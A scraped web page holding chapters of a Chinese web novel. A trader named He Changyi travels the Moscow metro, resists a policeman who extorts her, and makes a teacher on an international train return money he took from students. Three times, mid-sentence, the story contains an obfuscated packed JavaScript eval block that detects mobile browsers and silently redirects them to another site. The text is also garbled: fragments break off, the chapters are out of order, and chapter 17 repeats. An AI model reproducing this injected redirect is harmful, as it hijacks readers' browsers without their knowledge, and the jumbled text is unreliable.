她有正当理由怀疑阿列克谢是在故意刁难,报复她这段时间在维塔里耶奶奶家里混吃混喝混住的无耻行径。 莫斯科地铁在二战前开通,至今已运行了六十余年。 虽然修得早,但地铁内并不显陈旧昏暗,反而奇异的灯火通明,光线映照在装饰上时甚至有几分华贵。 和地上萧条的街头相比,似乎穿越时光来到曾经苏联最辉煌的时刻,不过堵在地铁口的乞丐和卖艺者会马上把神思恍惚者的思绪拉回现在。 进入地铁的电梯陡而长,像是要坠落到地心深处。 隔着几个人,何长宜只能从上方看到阿列克谢的背影,看起来孤僻而不近人情。 下了电梯,阿列克谢自顾自地朝前走,丝毫没有停下来等一等同伴的意思。 不知为何,何长宜心里涌出一股火气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15942849|177435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她突然快跑几步,穿过周围拥挤的人群,精准地在他前面停下,然后大步流星地快走。 这下满意了,让他去吃尾气还差不多。 阿列克谢楞了一下,没说话,不紧不慢跟在何长宜身后,只是在要进入地铁前,他从背后伸出手,将两枚地铁币投进箱内。 何长宜瞥他一眼,莫名感觉火气消了不少。 正值下班高峰期,地铁上的人不少。 密闭空间内,空气像是半凝固的果冻,将各色味道都封印其中。 何长宜被淹没在人高马大的毛子中,默默用围巾捂住了口鼻,然后转身面壁,沉痛地低下了头。 虽然有点不太礼貌,但这味儿也太冲了吧,哕…… 阿列克谢不明情况,以为她是不舒服,原本不想管,但想到临行前外祖母的嘱咐,烦躁地拨开人群挤到何长宜身边。 “你怎么了?” 何长宜由下至上地看他一眼,眼中带着点想吐没吐出来的泪光。 阿列克谢一怔,不耐烦的表情像潮水般退去。 “很难受吗?” 他低声问,声音中藏着一点连他自己都没发现的温和。 何长宜突然伸手,一把拽住阿列克谢的衣领,猛地把他扯到自己身前,然后一头撞了上去。 摇摇晃晃的地铁,阿列克谢惊愕极了,一时没有反应过来,差点站不稳,手忙脚乱地用双臂撑着车厢才维持住了平衡。 阴差阳错,也将何长宜困在这个小小的空间内。 “别动。” 她闷声闷气的声音从他身前传来。 阿列克谢却站直了身,强硬地掐着她的下巴,让她抬起头来。 “别动什么?” 何长宜不耐烦地甩开他的手,瞪了他一眼,神情中没有一丝旖旎。 要不是这头熊身上的烟草味能勉强当一当空气清新剂,她才懒得搭理这位疑似黑手党。 车里充满了浓度爆表的咸湿狐臭味,简直像是生化武器。 呼吸的话会被臭死,不呼吸的话会被憋死,何长宜咬牙切齿地在心里骂阿列克谢狗比,合着他一本地人习以为常,就当所有人都没长鼻子? 老天奶,要是早知道莫斯科地铁会是这种情况,就算当着维塔里耶奶奶的面,她也要当场和阿列克谢分道扬镳。 她被臭得根本不想开口说话,生怕浓厚到如同固体的臭味会灌进喉咙。 见阿列克谢还是一副估量审视的臭德行,何长宜怒从心中起恶向胆边生,一把扯下他皮夹克的拉链,恶狠狠地把自己扔到了他身上。 ——妈的,话那么多,当好你的空气清新剂。 阿列克谢僵住了。 这次,直到地铁到站,他都没有再做什么。 车门开启,何长宜甩下阿列克谢,一马当先冲了出去。 直到电梯上行带来新鲜空气,她才终于能畅快呼吸。 何长宜在心里默默将“地铁出行”这一条划上重重的删除线,决心以后来莫斯科再也不坐地铁。 阿列克谢不远不近地跟在后面。 这一回,轮到他跟在她身后。 两个人像是恰好有同一目的地的陌生人,在人群中一前一后地走着。 当抵达火车站后,两人又不约而同地停下。 何长宜回头,与同样注视着她的阿列克谢对上目光。 桀骜的眼神中多了几分嫌弃,而审视的目光中却掺杂了疑惑。 没有人说话。 下一秒,何长宜进站,阿列克谢转身离开。 两人背向而行,距离越来越远,像两颗水滴般各自消融在人群中。 然而,令人意外的是,阿列克谢突兀地停下了脚步,转身看向何长宜消失的方向。 他什么也没看到。 何长宜没有注意到阿列克谢复杂难言的视线,她此时正忙着摆脱站内警察的纠缠。 “什么?我的护照有问题?” 14. 第 14 章 何长宜匪夷所思地看着面前的警察。 对方捏着她的护照,不说检查,也不说还给她,只是阴鸷地上下打量,似乎在估算能从这个中国女人身上挖到多少好处。 何长宜也在观察他。 这人长着一个巨大的鹰钩鼻,秃鹫似的长相,再配上阴恻恻的目光,让人很是过目不忘。 何长宜看着眼熟,一时间想不起来在哪儿见过这人。 直到她余光瞟到路过的一个大脸盘眯缝眼的蒙古人,忽然想起来在哪儿见过他 ——先前她初到莫斯科的时候被一群蒙古黑|帮围了,一个路过的中年警察明明看到了却视若无睹,放任她被抢劫。 他就是那个中年警察。 何长宜恍然大悟,同时更警惕了,脑海中下意识浮现出一个词。 黑警。 之前她在火车上听倒爷们闲谈时提到莫斯科的警察,几乎就没有倒爷没被警察敲诈勒索过的。 怎么说呢,俄罗斯的警察每次都能刷新下限。 这帮本地警察知道这帮中国倒爷手里有钱,很乐意在他们身上赚点外快。 最常见的就是查护照,凡是发现签证过期的,警察们就喜气洋洋地当场拿下倒爷,没收他随身携带的钱和货,再罚几万卢布,最后押送移民局直接遣返回国。 护照没过期的也别想逃。 黑警故意找茬,鸡蛋里挑骨头,护照没问题也能挑出问题,实在挑不出来了,就把护照往警服兜里一塞,手一伸,示意给钱。 倒爷们被讹得多了,怕了这些“合法黑手党”,只要遇到警察,也不管护照有没有问题,赶紧主动掏钱求放过。 时间一长,黑警们吃得肚皮滚圆,敲诈倒爷变成日常任务,属于行业公认的外快渠道。 何长宜碰上的就是来自取加班费的黑警。 她的护照当然是没有问题的,这是双方都心知肚明的事。 中年警察不过是借着查护照的由头,故意找这个中国女人索贿罢了。 而何长宜不说话也不掏钱,只是皱眉盯着他。 中年警察不耐烦地敲了敲护照,阴沉的目光投向这个不懂事的中国人。 中国人用劣质商品大把大把地赚走卢布,将宝贵的外汇带走,像是一群趴在巨人身上吸血的蚊蝇,而他的行为是正义的复仇,还能顺便添补家用。 就像在饥荒年代挖开田鼠洞,将田鼠肉和它藏在洞里的粮食一锅煮了,没人能指责掏田鼠洞的人有什么不对。 中年警察见何长宜没有主动给钱的意思,原本阴沉的表情变得更加恶毒。 他失去了耐心,直接将何长宜的护照往衣兜里一塞,熟练地伸手去扯她的脖领,要将人拉到远离人群的郊区好好收拾一顿。 何长宜敏捷避开他伸过来的手,同时用生涩的俄语单词往出蹦字。 “护照,没问题,你,违法!” 中年警察动作一顿,没想到一向不通俄语的中国人里居然会有人说俄语。 虽然俄语水平不怎么地,但一个语言不通的外国人和一个能与本地人交流的外国人相比,后者明显更难对付。 而随着何长宜的声音,附近的俄国人都往这边看过来,这也显得中年警察莫名奇妙抓人的行为格外突兀。 中年警察有些踌躇,惊疑不定地看着何长宜,倒是没再上手拉她了。 何长宜却上前一步,高声道: “没钱!护照!没问题!” 面对周围神色各异的目光,中年警察掩饰似的说了一大串俄语。 何长宜没听懂,但料想他也说不出什么正当理由,便更加咄咄逼人。 “报警!敲诈!假的警察!” 这下看过来的人更多了,有人用俄语说着什么,有人怀疑地走上前,还有人去找附近巡逻的警察。 中年警察的脸色彻底阴下来。 没想到只是日常挣外快,他随意挑的软柿子居然还是个硬茬。 她不但敢拒不给钱,还敢高声叫嚷,将人群都吸引过来,一口一个“假警察”,有恃无恐的模样简直不像他以往见过的中国人。 何长宜再次上前,指着他的衣兜。 “护照,我的。” 中年警察不想就这么放过这头肥羊,虽然羊头上长了角,但归根究底还是羊。 他抽出随身携带的警棍挥舞,厉声呵斥,将人群逼退。 何长宜猜他大概在说“警察办案,闲人退散”和“敢阻碍我,通通把你们关进去”之类的恐吓。 虽然俄罗斯警察对外国人不友好,但他们对本国人也很差。 咳,某种程度上还挺公平的。 但何长宜要有麻烦了。 中年警察抬起警棍,指着何长宜的鼻子,握着警棍的手蠢蠢欲动,像是打算给这个不识相的中国女人来点正宗老莫斯科风味的精神注入棒。 何长宜紧紧盯着他。 要是她因为袭警被抓,咱家的大使馆能快点捞人吗? 中年警察疾言厉色冲着何长宜咆哮着什么,他手里的警棍威胁似的上下挥舞。 他的声音越来越高,警棍挥舞的频率也越来越快,几次擦着何长宜的身侧而过。 要不是何长宜闪得快,警棍就要结结实实地砸在她身上了。 然而,中年警察的恐吓却没有得到应有的效果,面前的中国女人毫无惧色,不说低三下四地道歉,也不说主动奉上丰厚金钱,就那么审视地盯着他。 中年警察甚至觉得,其实她根本不怕就他和他的警棍,只是对他穿的制服有所顾忌,否则早就冲上来夺走警棍,反手揍他一顿。 想到这里,他不由得怒火攻心,警棍不再是威胁式的挥舞,而是实打实地冲着她的颈侧就砸下来! 周围人一片惊呼,似乎已经看到了她的悲惨下场。 说时迟那时快,中国女人突然侧身,警棍从她面前划过,最近时离鼻尖不到一厘米。 下一秒,她伸手抓住下落的警棍,猛然一拽,中年警察一个踉跄,警棍脱手而出。 人群短暂陷入寂静。 有曾经偷偷看过资本主义毒草走私碟片的人低声说了一句: “中国功夫……” 中年警察骤然失去用以耀武扬威的武器,愣了一下才反应过来。 他看向那个该死的中国女人,对方上下掂量了几下警棍,随手握住,耍了一个棍花。 人群的惊呼声更大了。 “看到没有,我早就说过了,中国人真的会功夫!” “原来电影是真的……” 中国女人一手拿着警棍,虚虚指着地面,她昂着下巴,似笑非笑地盯着中年警察。 风吹过她的卷发,衬得一张脸雪白,如冰雕般冷酷坚硬。 中年警察又惊又怒。 他从来没有遇到过敢于反抗的中国倒爷,这还是有史以来头一回。 他见过的男倒爷那么多,高矮胖瘦,强壮的蛮横的,可哪个不是乖乖被他敲诈?有时甚至生怕给钱晚了,他还没开口,对方就已经满脸堆笑地把钱塞到他手里。 而这个女人,该死的女倒爷,她居然敢反抗! 中年警察恼羞成怒,想要狠狠揍她一顿,让她知道这地界谁说了算。 但对上她的视线时,他却又在心里打了个突。 他真的打得过一个会功夫的中国人吗…… 中国有句老话“畏威而不怀德”,某些时候用在外国很适合。 有些人就是天生的欺软怕硬,吃硬不吃软,挨完收拾眼神立刻清澈,还埋怨怎么不早点打醒他。 中年警察就是这类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何长宜听不懂他们在说什么,只能大概猜到小警察在据理力争,而中年警察仗着资历老,不肯放过嘴边的肥肉。 最后小警察上前一步,强硬地要求中年警察拿出护照。 在确认护照没有问题后,他立刻将其还给何长宜,示意她可以离开了。 中年警察的面色阴沉极了,最后深深地看了她一眼,忿忿离开,去找下一个倒霉蛋。 何长宜拿着失而复得的宝贝护照,发誓下次绝对不会轻易交给本地警察。 这帮黑警实在太明目张胆,要不是她认识小警察,就真要被他们得逞了,看来在本地白道有个靠山还是很重要的。 “谢谢。” 小警察认真地听着何长宜生涩的俄语道谢,严肃着一张脸摇了摇头,示意这不算什么。 何长宜热情地拉住他的手上下摇晃,松手时一张美钞留在他的手心。 小警察一愣,手忙脚乱地将钱还给了她,连连摆手,急得快要挥出残影。 何长宜挑起眉毛,真稀罕,这是让她碰上万里挑一的出淤泥而不染斯拉夫金毛小莲花了? “名字?” 小警察不自觉地歪歪头,像是在消化她古怪的俄语发音,慢一拍地才意识到她在说什么。 “@#¥%&*@#¥%&……” 好吧,依旧是复杂如同家谱籍贯合集的漫长名字。 何长宜认真地伸出手。 “安德烈,你好。” 冬日森寒的阳光下,他蓝色的眼睛弯了弯,像一个温暖的笑容。 17. 第 17 章 国际列车候车室。 离发车时间不到两小时,候车室里人挤人,行李摞行李,连多余的落脚地都没有。 站务员拖着磅秤从人群中艰难地挤出来,走到检票口前,熟练地喊了一嗓子: “所有人来过行李了!” 话音未落,乘客们像是约好了似的,唰地站了起来,齐齐往身上套皮夹克和羽绒服。 入春后暖气已停,因着倒春寒的缘故,火车站里挺冷的。 然而,随着往身上套的衣服越来越多,许多人热出了一脑门的汗,呼哧呼哧直喘粗气。 套完了衣服的,如同米其林轮胎人一般,走路摇摇摆摆,艰难地拖着巨大的行李走到磅秤前排队。 角落里,一群年龄大小不一的男女聚在一起,满脸都是将要出远门的亢奋和不安。 见其他人都在套衣服,这帮人稀奇不已。 “这是在干嘛呢?” “为啥上车前要穿衣服?车上冷?” “蔡老师,要不要让学生们也穿啊?” 被称作“蔡老师”的眼镜男一挥手,不屑地说: “那些都是倒爷,不是什么正经人,咱们可是去留学的,甭跟他们学这些乱七八糟的。” 他话音未落,旁边传来一声嗤笑。 蔡老师恼怒地看过去,一个短发高个的女人正似笑非笑地盯着他瞧。 和其他人一样,她身上叠穿了至少五件皮夹克。 不过因为人长得高挑瘦削,穿了这么多衣服看起来丝毫不累赘,反而有种别样的肆意潇洒。 短发女人旁边还跟了两个人,都是类似的叠穿打扮,一看就是一伙儿的。 哼,一帮没素质的黑|涩会! 蔡老师动作幅度微小地撇撇嘴,转头只当从来没听到。 他、他才不是怂了…… 对着鹌鹑似的学生们,蔡老师就有底气多了,骂骂咧咧地说: “都坐那儿干嘛呢!赶紧的,起来排队检票!瞧你们一个一个屁股沉的,我告诉你们,峨罗斯可没这样儿的!家长们也别送了,多大人了还断不了奶……快点,都等谁请呢!” 等他发泄完这股子无名火,再用余光悄悄去瞥,那个女人已经走了。 蔡老师莫名在心里松了一口气。 候车室挤得很,月台也不逞多让。 登车的、送站的把一整列火车围得水泄不通,想要上车得削尖了脑袋往里挤。 蔡老师带着二十来号学生千辛万苦从人群中杀出一条血路,好不容易才挤上了车。 刚进车厢,他就看到过道处站了个人,正打开窗户从车外接什么东西。 听到声响,那人回头看了一眼。 蔡老师当时心里就一咯噔,坏了,怎么又是那个女人! 何长宜不知道对方复杂的心理活动,随便扫了来人一眼,便继续从车下人的手里接衣服。 她这次随身携带三十五公斤行李,托运了四十公斤,加上身上叠穿的皮夹克,还没用完全部货款。 但上车要过行李,而一次能叠穿的衣服有限,于是何长宜索性雇了两个人,又买了两张站台票,让他们各穿五件皮夹克,再以送站的名义跟着自己一起过检票口,最后将皮夹克通过窗户递给她。 这下,何长宜又能多带十件皮夹克。 最后一件皮夹克从窗户塞进来时,站台响起了悠长的鸣笛声。 何长宜抱着一摞皮夹克回到包厢,才开门,就见里面坐着的眼镜男像见了鬼似的瞪着她。 为防小偷的钩子,何长宜这次特地加价买了下铺票,没想到刚开车就有人来占座。 “让开,你坐我铺上了。” 何长宜不客气地将皮夹克往铺位上一扔,也不管砸没砸到人。 眼镜男像火烧了屁股似的,噌地就从铺位上蹿了出去,头也不回逃出包厢。 不一会儿,外面传来他的说话声。 “去,你跟我换个铺……看什么,就你,赶紧的!” 何长宜正在整理行李,包厢门轻响,一个圆脸小姑娘走了进来,怯生生地冲她一笑,把行李往外面架子上一放,就要爬到上铺。 何长宜喊住了她。 “哎,等等,谁让你把行李放那儿的。” 小姑娘顺着梯子爬到一半,此时不上不下的,像个惊慌失措的小仓鼠。 “不、不能放吗?对不起,对不起,我马上拿走……” 何长宜嘴角一抽,感觉自己好像变成了欺压民女的反派,不得不多解释一句。 “车上贼多,你行李放外面容易丢。反正包厢里有空地,你放里面好了。” 小姑娘这才意识到何长宜是好意提醒,圆脸蛋一红,忙不迭地往下爬。 “谢谢,谢谢,我这就拿进来……” 包厢里另两个男生之前一直没敢说话,此时也赶忙把放在外面行李架的大包小包都收回来。 出了京城市区,火车提速,一路朝东北方向而去。 何长宜坐过国际列车有经验,长途旅途无聊,她便将精神食粮备得充裕,带了好几本小说。 起初的时候,包厢里另外三个人大眼瞪小眼,不敢在何长宜看书的时候发出声响,常常是悄咪咪溜到别的包厢,等到熄灯再回来。 之后有人实在无聊,壮着胆子开口朝何长宜借书。 一借一还,他们发现何长宜没有看上去那么拒人于千里之外,双方便渐渐搭上了话。 何长宜了解到,这一行二十余人都是去莫斯克留学的学生,而眼镜男是带队老师。 学生们在国内看到招生简章,只需在语言学校学习一年,就能免试入学莫斯克各大公立高校。 而语言学校的学费是一千美元加三千元人民币,虽然贵,但普通家庭咬咬牙也能出得起。 在这群准留学生中,有的是没考上大学的高中生,有的是停薪留职的上班族,有工人也有农民,都渴望通过留学改变自己和家庭的命运。 “我们家砸锅卖铁供我留学,我必须得在莫斯克学出个样子,要不然都对不起我爹妈。” “我家里借了好多钱,不过等我以后回国了,那些债就都不是问题。” “我同学没考上大学的都去技校了,等我在峨罗斯上完大学,就不用去工厂做工,在办公室坐着也能挣钱。” 等各自陈述了革命家史,有人大着胆子问何长宜: “姐,你是不是倒爷啊?” 何长宜掀掀眼皮:“是。所以?” 问话的人兴奋又紧张。 “听说倒爷都敢和老毛子干仗,挣的是刀尖舔血的钱。我之前还以为倒爷都长得五大三粗,不是李逵就是张飞,就算是女的也得是孙二娘才行,没想到姐你这样的居然也是倒爷,真是人不可貌相!” 何长宜:…… 理论上这应该是在夸她,但为什么她觉得有点手痒? 不知为何,这群学生有些怕何长宜,但又莫名地觉得她亲近。 像一群鬼鬼祟祟的狐獴,一边害怕地瞪大了眼睛,一边还要迈着小碎步往前凑。 何长宜则像一头懒洋洋的狮子,悠闲地甩着尾巴听这群狐獴在耳边碎碎念。 而眼镜男,也就是带队的蔡老师,每次都是躲得她远远的。 要是不小心在过道上与何长宜迎面碰到,他丝滑无比地转身就走,背影颇有几分落荒而逃。 这个车厢里,唯二不用亲自打水的就是他和何长宜。 蔡老师是指挥学生为他服务,而何长宜则从不用开口,每天都有借书的人主动替她把暖壶灌满。 其他没抢到打水的人,就把从家里带来的好吃的分给何长宜一份,吃完了还要替她洗饭盒。 搞得何长宜怪不好意思的,便决定在路上多看顾这群头一次出远门的学生们几分。 火车行至霍勒津,过了这个站,就到峨罗斯的地界。 这次何长宜做足了准备,提前在医院开了健康证明,省去了一百三十块的检疫费。 当列车上的人蜂拥着去车站商店抢购“阿迪达斯”时,何长宜双手抱胸,斜倚车门,对着想要跟风的学生们抬抬下巴: “回去吧,普通家庭攒钱不容易,还是别往水里扔了。” 大部分人信了,还有一小部分半信半疑,看着浩浩荡荡奔向商店的人群,有些犹豫。 何长宜没多劝,趁着停车的这段时间,在站台上散步吹风。 不过令她欣慰的是,去往商店的路上没见到面熟的学生。 火车再次启动,买到假冒伪劣衣服的乘客们在车上骂骂咧咧,何长宜却注意到圆脸小姑娘红肿的眼睛。 “哭什么,想家了?” 小姑娘嘴一撇,抽抽搭搭地说: “蔡老师让我们交一百五十块的过境费,还有八十块给海关的好处费……我没带那么多钱,他让我滚下火车,不带我去莫斯克了……” 另外两个男生也很低落。 “我妈给了我一千块傍身,这是我们家最后一点积蓄了……可还没出国就花了二百多,以后怎么办啊……” “蔡老师说不交不行,要是不交的话,我们的护照就失效了,就算去了峨罗斯也要被人家撵回来的……” 何长宜皱了皱眉,她怎么没听说过什么过境费和好处费。 “行了,别哭,他在哪个包厢,你带我过去。” 蔡老师正在包厢里蘸着唾沫数钱,忽然门被踢开,他不快,正想骂毛手毛脚的家伙,转头就看到那个最不想见的煞神。 “听说出国要交过境费和好处费,我怎么从来不知道?” 蔡老师一惊,眼睛珠子一转就想否认。 话才要出口,他看到何长宜身后跟过来的几个学生,还有听到声音后探头探脑的其他人。 “你胡说什么,过境费和好处费一直要收的,懂不懂规矩?你之前没交就相当于逃了票,我们跟你不一样,我们是正规买票的。” 何长宜眯起眼睛。 “逃票?” 她慢条斯理地说: “你的意思是,国家公职人员公然利用职务之便收取好处费?还是说国境线上搭了收费站,不交钱就禁止出国?” 听到何长宜的话,交了钱的学生们都用怀疑的目光看向蔡老师。 蔡老师心中叫苦,面上还在嘴硬: “这都是惯例,你不懂就不要讲,别误导我们学生。要是他们不能留学,你负得起这个责任吗?!” 何长宜不怒反笑。 “对,我确实负不起这个责任。不过列车有车长,人家常年往返中峨,比任何人都了解情况。走,咱们一起去问问。要是你说得对,我赔你一件皮夹克;要是你说错了,马上把钱还给学生们。” 在听到何长宜的前半段话时,圆脸小姑娘的脸色变得灰暗,要是这位大姐姐都不愿意管的话,她就真的没希望了。 可当听到后半段话,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15968471|177435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛唰地一下亮了起来。 另外两个男生附和道:“就是,咱们一起去找车长!总不能平白无故就收我们二百多块钱吧!” “是啊,要是车长说真的要交,我们也就认了……” “我去问问列车员,车长在哪一节车厢!” 其他学生也纷纷应和,一时间蔡老师被架住了,眼睛焦急地转来转去。 “那、那车长是峨罗斯人!在场的除了你谁听得懂峨语,还不是任由你翻译,你说什么就是什么,这不是耍赖吗?” 何长宜很痛快。 “你在车上随便找一个会峨语的,让他翻译不就行了。不行多找几个,人家和我们两边都不认识,总不见得一起串通骗人吧?” 学生们都觉得这个主意好,有人自告奋勇去其他车厢找来懂峨语的人。 然而,直到热心翻译到位,蔡老师仍旧不肯去找车长,逼急了就一拍桌子,疾言厉色地冲着学生们大喊大叫,问他们是不是不打算去留学了。 ——当然,他没敢冲着何长宜甩脸色,精准地把脸扭到她看不到的方位。 年长一些的学生意识到不对劲,但人在屋檐下,他们还是想留学的。 有人打了退堂鼓,低声地说: “算了吧,一万块钱都花了,也不差这二百了……” 也有人不肯放弃。 “那怎么行,出国的钱可都是我父母一辈子攒下来的血汗钱,要是花在学习上我就认了;可无缘无故就让我掏二百块,那不成,我不答应!” 车厢里闹哄哄的,其他车厢的人也来看热闹,就连峨罗斯列车员都过来看这里发生了什么。 何长宜把人都赶出去,关上包厢门,屈指敲了敲桌子。 “行了,给自己留点脸吧,钱呢?拿出来。” 蔡老师低着头,悄悄用怨恨的眼神瞪了几下,还不敢让何长宜发现。 见这家伙像个鼻涕虫似的窝在铺位里面,何长宜不耐烦地催促道: “赶紧的,我没心情和你耗。要么你拿出来,要么我自己动手。我数三下,三,二——” 不等“一”发出来,蔡老师一把将钱从衣服内兜里掏出来,犹豫了下,不情不愿扔到桌上。 钞票沾了体温,何长宜嫌弃,不想上手去数。 “二十个人,每人二百三十块,一共是四千六。要是少了一张,你不想知道后果的。” 听到何长宜的威胁,蔡老师顿了顿,抬头迅速用怨念的小眼神看了她一眼。 接着他脱下鞋,从鞋垫下面又抽出一叠钞票。 ——都特么能闻到味儿了。 何长宜转身开门,对着门外伸着耳朵偷听的学生们说: “行了,问题解决了。你们蔡老师对出国政策没深入了解,弄出了误会,现在他已经认识到错误了,你们过来,把自己的钱领走。” 学生们欢呼起来。 虽然因为接下来他们还要跟着蔡老师去语言学校办理入学手续,何长宜才轻飘飘地盖上一层遮羞布,把一切说成误会,但在场的人都知道实际发生了什么。 经此一役,大小狐獴们更信任何长宜了,恨不得走哪儿跟哪儿。 何长宜彻底过上衣来伸手饭来张口的好日子。 甚至连上厕所的时候,圆脸小姑娘都恨不能托着她的胳膊,像伺候老太后似的把她伺候到马桶上。 此消彼长,蔡老师落寞极了,不得不自己提着暖壶去打水。 列车一路西行,越过了国境线。 在停靠峨罗斯站台时,车上倒爷蓄势待发,车下峨罗斯人举着卢布嗷嗷待哺。 学生们也带了不少货物,打算卖了赚点生活费。 在一众卖货的钟国人中,何长宜行云流水般的动作格外显眼。 面对一群挤在身边、把卢布快怼到她脸上的客户,她流畅地数钱卖货,然后左手熟练地抢回货物,右手把假|钞摔到对方脸上。 回车上补货时,她随手将伸到上铺的钩子扯进来,窗外传来失去平衡摔下去的小偷叽里咕噜的大骂声。 再次拿着衣服下车时,何长宜顺手抓住在窗口卖货学生的胳膊往里一拽,外面跳起来抢货的家伙正好扑了个空。 几次下来,车厢上的人看何长宜的眼神已经不能用敬仰两个字来概括了。 ——他们好像看到了倒爷界的概念神。 车厢的货物以肉眼可见的速度迅速减少,学生们赚得盆满钵满,而且因为有何长宜带着,避开了新手倒爷经常被坑的陷阱,每个人钱包鼓鼓,红光满面。 兜里有钱,胆气就壮。 有学生即使没学会峨语,都敢独自一人去车站商店买东西,和售货员比划着买回来一扎啤酒,给每个人分了两瓶,庆祝开张发财。 要不是学费概不退还,都有人想放弃留学,直接跟着何长宜转行做倒爷。 然而,与学生们的欣喜若狂形成鲜明对比的是,何长宜反而从刚上车时的悠哉变得警惕起来。 钱太多了。 懒洋洋甩着尾巴的狮子站了起来,望向隐藏在黑暗中的敌人。 就在列车离开乌兰乌德站后,凌晨时分,当所有人都陷入沉睡时,包厢外忽然传来细微而凌乱的脚步声。 何长宜睁开眼睛,借着窗外的月光,她看到一根弯曲的铁丝顺着包厢门的缝隙伸了进来。 下一秒,卡在门锁处的卡扣就被铁丝拽了下来。 一声轻响,门开了。 17. 第 17 章 国际列车候车室。 离发车时间不到两小时,候车室里人挤人,行李摞行李,连多余的落脚地都没有。 站务员拖着磅秤从人群中艰难地挤出来,走到检票口前,熟练地喊了一嗓子: “所有人来过行李了!” 话音未落,乘客们像是约好了似的,唰地站了起来,齐齐往身上套皮夹克和羽绒服。 入春后暖气已停,因着倒春寒的缘故,火车站里挺冷的。 然而,随着往身上套的衣服越来越多,许多人热出了一脑门的汗,呼哧呼哧直喘粗气。 套完了衣服的,如同米其林轮胎人一般,走路摇摇摆摆,艰难地拖着巨大的行李走到磅秤前排队。 角落里,一群年龄大小不一的男女聚在一起,满脸都是将要出远门的亢奋和不安。 见其他人都在套衣服,这帮人稀奇不已。 “这是在干嘛呢?” “为啥上车前要穿衣服?车上冷?” “蔡老师,要不要让学生们也穿啊?” 被称作“蔡老师”的眼镜男一挥手,不屑地说: “那些都是倒爷,不是什么正经人,咱们可是去留学的,甭跟他们学这些乱七八糟的。” 他话音未落,旁边传来一声嗤笑。 蔡老师恼怒地看过去,一个短发高个的女人正似笑非笑地盯着他瞧。 和其他人一样,她身上叠穿了至少五件皮夹克。 不过因为人长得高挑瘦削,穿了这么多衣服看起来丝毫不累赘,反而有种别样的肆意潇洒。 短发女人旁边还跟了两个人,都是类似的叠穿打扮,一看就是一伙儿的。 哼,一帮没素质的黑|涩会! 蔡老师动作幅度微小地撇撇嘴,转头只当从来没听到。 他、他才不是怂了…… 对着鹌鹑似的学生们,蔡老师就有底气多了,骂骂咧咧地说: “都坐那儿干嘛呢!赶紧的,起来排队检票!瞧你们一个一个屁股沉的,我告诉你们,峨罗斯可没这样儿的!家长们也别送了,多大人了还断不了奶……快点,都等谁请呢!” 等他发泄完这股子无名火,再用余光悄悄去瞥,那个女人已经走了。 蔡老师莫名在心里松了一口气。 候车室挤得很,月台也不逞多让。 登车的、送站的把一整列火车围得水泄不通,想要上车得削尖了脑袋往里挤。 蔡老师带着二十来号学生千辛万苦从人群中杀出一条血路,好不容易才挤上了车。 刚进车厢,他就看到过道处站了个人,正打开窗户从车外接什么东西。 听到声响,那人回头看了一眼。 蔡老师当时心里就一咯噔,坏了,怎么又是那个女人! 何长宜不知道对方复杂的心理活动,随便扫了来人一眼,便继续从车下人的手里接衣服。 她这次随身携带三十五公斤行李,托运了四十公斤,加上身上叠穿的皮夹克,还没用完全部货款。 但上车要过行李,而一次能叠穿的衣服有限,于是何长宜索性雇了两个人,又买了两张站台票,让他们各穿五件皮夹克,再以送站的名义跟着自己一起过检票口,最后将皮夹克通过窗户递给她。 这下,何长宜又能多带十件皮夹克。 最后一件皮夹克从窗户塞进来时,站台响起了悠长的鸣笛声。 何长宜抱着一摞皮夹克回到包厢,才开门,就见里面坐着的眼镜男像见了鬼似的瞪着她。 为防小偷的钩子,何长宜这次特地加价买了下铺票,没想到刚开车就有人来占座。 “让开,你坐我铺上了。” 何长宜不客气地将皮夹克往铺位上一扔,也不管砸没砸到人。 眼镜男像火烧了屁股似的,噌地就从铺位上蹿了出去,头也不回逃出包厢。 不一会儿,外面传来他的说话声。 “去,你跟我换个铺……看什么,就你,赶紧的!” 何长宜正在整理行李,包厢门轻响,一个圆脸小姑娘走了进来,怯生生地冲她一笑,把行李往外面架子上一放,就要爬到上铺。 何长宜喊住了她。 “哎,等等,谁让你把行李放那儿的。” 小姑娘顺着梯子爬到一半,此时不上不下的,像个惊慌失措的小仓鼠。 “不、不能放吗?对不起,对不起,我马上拿走……” 何长宜嘴角一抽,感觉自己好像变成了欺压民女的反派,不得不多解释一句。 “车上贼多,你行李放外面容易丢。反正包厢里有空地,你放里面好了。” 小姑娘这才意识到何长宜是好意提醒,圆脸蛋一红,忙不迭地往下爬。 “谢谢,谢谢,我这就拿进来……” 包厢里另两个男生之前一直没敢说话,此时也赶忙把放在外面行李架的大包小包都收回来。 出了京城市区,火车提速,一路朝东北方向而去。 何长宜坐过国际列车有经验,长途旅途无聊,她便将精神食粮备得充裕,带了好几本小说。 起初的时候,包厢里另外三个人大眼瞪小眼,不敢在何长宜看书的时候发出声响,常常是悄咪咪溜到别的包厢,等到熄灯再回来。 